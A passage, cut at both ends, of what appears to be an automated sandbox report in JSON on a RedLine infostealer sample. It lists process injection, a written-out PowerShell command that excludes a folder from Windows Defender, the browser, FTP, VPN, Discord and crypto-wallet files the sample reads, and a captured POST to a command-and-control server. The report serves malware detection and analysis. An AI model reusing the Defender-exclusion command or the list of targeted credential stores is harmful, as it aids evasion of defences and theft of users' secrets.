\"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"PO.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%TEMP%\\RarSFX0\\PO.exe]- [targetUID: 00000000-00005280]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00006620]\n Dropped file: \"Po.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Po.exe.log]- [targetUID: 00000000-00007212]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006620]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"PO.jpg\" has type \"PNG image data 390 x 552 8-bit/color RGBA non-interlaced\" and extension \"jpg\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"PO.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"tware\\Classes\\Applications\\runtimebroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"Po.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Po.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" at 00000000-00005280-00000C13-1204907133\n \"Po.exe\" at 00000000-00007212-00000C13-1215391332\n \"powershell.exe\" at 00000000-00006620-00000C13-1227829989","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$5b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Po.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 7212)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 6620)\n \"Po.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 7860)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .rsrc with unusual entropies 7.96977725549\n 7.25669524912","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$5c","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"PO.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%TEMP%\\RarSFX0\\PO.exe]- [targetUID: 00000000-00005280]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.26.13.31 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"Found string \"sfxcmd=\"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\"\" (Indicator: \"cmd=\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \"sfxcmd=\"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\"\" (Indicator: \"cmd=\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp, 00000000-00006620.00000000.141393.03110000.00000004.mdmp, 00000000-00006620.00000000.141393.031F0000.00000004.mdmp\")\n Found string \"sfxcmd=\"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\"\" (Indicator: \"cmd=\"; Source: \"00000000-00007212.00000000.140864.03720000.00000004.mdmp, 00000000-00007212.00000000.140864.037A0000.00000004.mdmp, 00000000-00007212.00000000.140864.037F0000.00000004.mdmp, 00000000-00007212.00000000.140864.07F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":3,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"27\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006620)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks on FTP client related files","description":"\"Po.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\FILEZILLA\\RECENTSERVERS.XML\"\n \"Po.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\FILEZILLA\\SITEMANAGER.XML\"\n \"Po.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\"\n \"Po.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\NICHROME\\USER DATA\"\n \"Po.exe\" opened file \"%APPDATA%\\FILEZILLA\\RECENTSERVERS.XML\"\n \"Po.exe\" opened file \"%APPDATA%\\FILEZILLA\\SITEMANAGER.XML\"\n \"Po.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\"\n \"Po.exe\" opened file \"%LOCALAPPDATA%\\NICHROME\\USER DATA\"","origin":"API Call","mitre_attack_id":"T1005","relevance":8,"id":"api-45","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"Po.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads FTP client related files","description":"\"Po.exe\" read 4096 bytes from file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"Po.exe\" read 40960 bytes from file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1119","relevance":10,"id":"api-44","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access browsers/wallets sensitive information (file access)","description":"\"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \"Po.exe\" trying to open a file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":5,"id":"api-132","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal VPN information (file access)","description":"\"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\%USERPROFILE%\\APPDATA\\ROAMING\\OPENVPN CONNECT\\PROFILES\"\n \"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\%USERPROFILE%\\APPDATA\\LOCAL\\PROTONVPN\"\n \"Po.exe\" trying to open a file \"%APPDATA%\\OPENVPN CONNECT\\PROFILES\"\n \"Po.exe\" trying to open a file \"%TEMP%\\RarSFX0\\%USERPROFILE%\\APPDATA\\LOCAL\\PROTONVPN\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-98","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1005","relevance":3,"id":"string-125","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$5f","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$60","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"Po.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"FindNextFileA\n GetFileAttributesW\n OpenFileMappingW\n GetTempPathW\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExA\n UnhandledExceptionFilter\n LoadLibraryExW\n GetSystemDirectoryW\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetVersionExW\n GetTickCount\n VirtualProtect\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n GetProcAddress\n CreateFileMappingW\n WriteFile\n FindFirstFileExA\n FindNextFileW\n FindFirstFileW\n CreateFileW\n GetSystemInfo\n LockResource\n GetCommandLineW\n GetCommandLineA\n MapViewOfFile\n GetModuleHandleW\n FindResourceW\n Sleep","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"SetEntriesInAclW\" (Source: 22c44c550563220ca7ebfcfc28351b9f.exe, API is part of module: NTMARTA.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has a section named \".didat\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\RarSFX0\\Po.exe\"\" - (UID: 00000000-00005280)\n \"Po.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%TEMP%\\R\" - (UID: 00000000-00007212), \"Po.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\RarSFX0\\Po.exe\" - (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE RedLine Stealer - CheckConnect Response\" (SID: 2045000, Rev: 3, Severity: 1) categorized as \"Malware Command and Control Activity Detected\" (PUA/PUP/Adware)\n Detected alert \"ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound\" (SID: 2045001, Rev: 3, Severity: 1) categorized as \"Malware Command and Control Activity Detected\" (PUA/PUP/Adware)\n Detected alert \"ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)\" (SID: 2046056, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"Po.exe\" set thread context in remote process \"%TEMP%\\RarSFX0\\Po.exe\" (PID: 1eb4)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1512)\n \"Po.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1776)\n \"Po.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1792)\n \"Po.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1336)\n \"Po.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1344)\n \"Po.exe\" wrote 00000200 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1344)\n \"Po.exe\" wrote 00017400 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1344)\n \"Po.exe\" wrote 00000600 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\RarSFX0\\PO.exe\" (Handle: 1344)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"api.ip.sb\" (Indicator: \"api.ip.sb\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"api.ip.sb\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 185.222.58.87 on port 55615","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_RedLine\" matched process \"00000000-00007860\" as \"Detects RedLine infostealer\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"Po.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\ELECTRUM\\WALLETS\"\n \"Po.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\ETHEREUM\\WALLETS\"\n \"Po.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\EXODUS\\EXODUS.WALLET\"\n \"Po.exe\" trying to touch file \"%APPDATA%\\ELECTRUM\\WALLETS\"\n \"Po.exe\" trying to touch file \"%APPDATA%\\ETHEREUM\\WALLETS\"\n \"Po.exe\" trying to touch file \"%APPDATA%\\EXODUS\\EXODUS.WALLET\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\CHROMIUM\\USER DATA\"\n \"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\COOKIES\"\n \"Po.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$61","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal desktop applications information (file access)","description":"\"Po.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \"Po.exe\" trying to touch file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"22c44c550563220ca7ebfcfc28351b9f.exe\" (UID: 00000000-00005280)\n Spawned process \"Po.exe\" (UID: 00000000-00007212)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%TEMP%\\\\RarSFX0\\\\Po.exe\"\" (UID: 00000000-00006620)\n Spawned process \"Po.exe\" (UID: 00000000-00009128)\n Spawned process \"Po.exe\" (UID: 00000000-00003388)\n Spawned process \"Po.exe\" (UID: 00000000-00007860)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Tries to steal desktop applications information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":16,"imported_dlls_count":176,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":54,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"661e47b589f558a5120abe12","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["NLD","USA"],"submit_name":"22c44c550563220ca7ebfcfc28351b9f.exe","analysis_start_time":"2024-04-16T09:41:09+00:00","indicators_count":{"informative":202,"suspicious":54,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.222.58.87","port":55615,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"address":"104.26.13.31","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"dns_resolutions":[{"domain":"api.ip.sb","address":"104.26.13.31","ttl":291,"country":"United States","registrar_name":"1API GmbH","registrar_organization":"Cat Networks, Inc.","registrar_name_servers":"ns1.xtom.com","registrar_creation_date":"2017-08-07T03:14:20+00:00","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"http_requests":[{"host":"185.222.58.87","host_ip":"185.222.58.87:55615","url":"/","method":"POST","response_code":"100","response_phrase":"Continue","header":"POST / HTTP/1.1\nContent-Type: text/xml; charset=utf-8\nSOAPAction: \"http://tempuri.org/Endpoint/CheckConnect\"\nHost: 185.222.58.87:55615\nContent-Length: 137\nExpect: 100-continue\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}],"processes":[{"pid":5280,"ppid":0,"name":"22c44c550563220ca7ebfcfc28351b9f.exe","command_line":"","sha256":"d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9","normalized_path":"C:\\22c44c550563220ca7ebfcfc28351b9f.exe","uid":"00000000-00005280","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABFklEQVR4XrWWUQ6CMBBEewkThR+F+9/GS5jiGZAaG8u0XadTeckGpLOvG0XROQM/TutznKVCVzOq6C9D9DTH3q4h5Ea375WHkJo+YK80RHNDQqm3eYimMLBUNmsagg5WiJvVCvMZVIjAD9Pqh3lXlJsKiVBuKiRCuamQCOWmQiKUmwqJUG4qJEK5qZAI5aZCIpSbComY7rDYW+hEzAzK1EJvirlekyyXW3at9LrUi5jrKMHzeAwPGcxgfa17rLVsgEj6FKtlDhmgJA3H7aSaOXyAgDcy5gauYYCeQm+KuY6i1nps3xZ0IiGH1zKokAjlpkIilPv9dp6vv4ONUJtH4ueK/2qVSu8T3Mfk7k7ZjaZU+OVEd+QF1dRDPnuhr4QAAAAASUVORK5CYII="},{"pid":7212,"ppid":5280,"name":"Po.exe","command_line":"","sha256":"ffcff7d72d79ae2e29b87a21186908adf3cd91f3711f9953ed6320dc2a6ecb2b","normalized_path":"%TEMP%\\RarSFX0\\Po.exe","parent_uid":"00000000-00005280","uid":"00000000-00007212"},{"pid":6620,"ppid":7212,"name":"powershell.exe","command_line":"Add-MpPreference -ExclusionPath 